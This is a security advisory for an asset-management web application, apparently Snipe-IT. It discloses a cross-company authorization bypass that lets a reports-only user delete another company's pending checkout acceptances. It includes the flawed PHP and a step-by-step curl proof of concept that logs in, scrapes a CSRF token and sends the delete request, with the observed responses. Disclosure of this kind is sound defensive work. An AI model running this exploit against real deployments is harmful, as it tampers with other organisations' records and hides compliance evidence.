GHSA-35cr-9hqq-p2mg: CSRF

Impact A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions The attacker needs: - A valid authenticated web session. - reports.view permission. - Knowledge or guessability of a pending checkoutacceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause The delete action authorizes only report access, then deletes a pending acceptance by global ID:

php

$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

sql snipesql "SELECT ca.id ca.checkoutableid, ca.deletedat, a.assettag, a.companyid FROM checkoutacceptances ca JOIN assets a ON a.id = ca.checkoutableid WHERE ca.id=$ACCEPTANCEBID;" Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": null, "assettag": "LAB-B-42445107", "companyid": 3 }

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A The attacker account was reportera, assigned to Company A with only report viewing permission:

json { "id": 3, "username": "reportera", "companyid": 2, "permissions": { "reports.view": 1 } }

Login as Company A reports user

curl curl -sS -c /tmp/snipecookie.txt "$BASE/login" -o /tmp/snipelogin.html

LOGINCSRF=$(grep -oP 'name="token" value="\K[^"]+' /tmp/snipelogin.html)

curl -sS -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$LOGINCSRF" \ --data-urlencode "username=reportera" \ --data-urlencode "password=password"

Observed response:

HTTP/1.1 302 Found Location: http://localhost:8000/

Fetch report CSRF token

curl curl -sS -L -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ "$BASE/reports/unacceptedassets" \ -o /tmp/unaccepted.html \ -w "\nHTTP=%{httpcode} URL=%{urleffective}\n"

CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unacceptedassets CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl curl -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/reports/unacceptedassets/$ACCEPTANCEBID/delete" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$CSRF" \ --data-urlencode "method=DELETE"

Observed response: HTTP/1.1 302 Found Location: http://localhost:8000/reports/unacceptedassets

Final state sql snipesql "SELECT id, checkoutableid, deletedat FROM checkoutacceptances WHERE id=$ACCEPTANCEBID;"

Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": "2026-06-12 04:30:00" }

This confirms that reportera from Company A deleted a pending acceptance for Company B’s asset.

Security impact This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

- Delete pending acceptance records for assets they cannot access. - Suppress evidence that a user has not accepted custody or terms. - Interfere with asset handoff/compliance workflows. - Tamper with another company’s pending acceptance queue.

This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.